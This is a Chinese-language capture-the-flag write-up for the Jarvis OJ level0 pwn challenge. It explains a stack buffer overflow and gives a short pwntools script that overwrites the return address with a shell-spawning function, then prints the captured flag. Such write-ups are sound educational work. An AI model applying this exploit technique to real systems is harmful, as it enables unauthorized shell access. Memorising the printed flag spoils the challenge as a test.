Jarvis OJ - [XMAN]level0 - Writeup

差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼

分析一下,checksec 查看程序的各种保护机制

没有金丝雀,没有pie

执行时输出Hello,World,在进行输入,溢出嘛

 开工

丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem

继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8

所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell

程序流程(从ABO偷来下图)

灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序

脚本

 

 1 #!/usr/bin/env python
 2 # coding:utf-8
 3 # writen by Exm
 4 
 5 
 6 from pwn import *
 7 io = process("./level0")
 8 io = remote("pwn2.jarvisoj.com" , 9881)
 9 elf = ELF("./level0")
10 func_addr = elf.symbols["callsystem"]
11 payload = 'a' * (0x80 + 0x8) + p64(func_addr)
12 
13 io.recvline()
14 io.sendline(payload)
15 io.interactive()
16 io.close()

 补充一下

symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!

执行一下就getshell啦,拿flag入探囊取物

 

flag: CTF{713ca3944e92180e0ef03171981dcd41}


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;

转载于:https://www.cnblogs.com/ZHijack/p/7620526.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值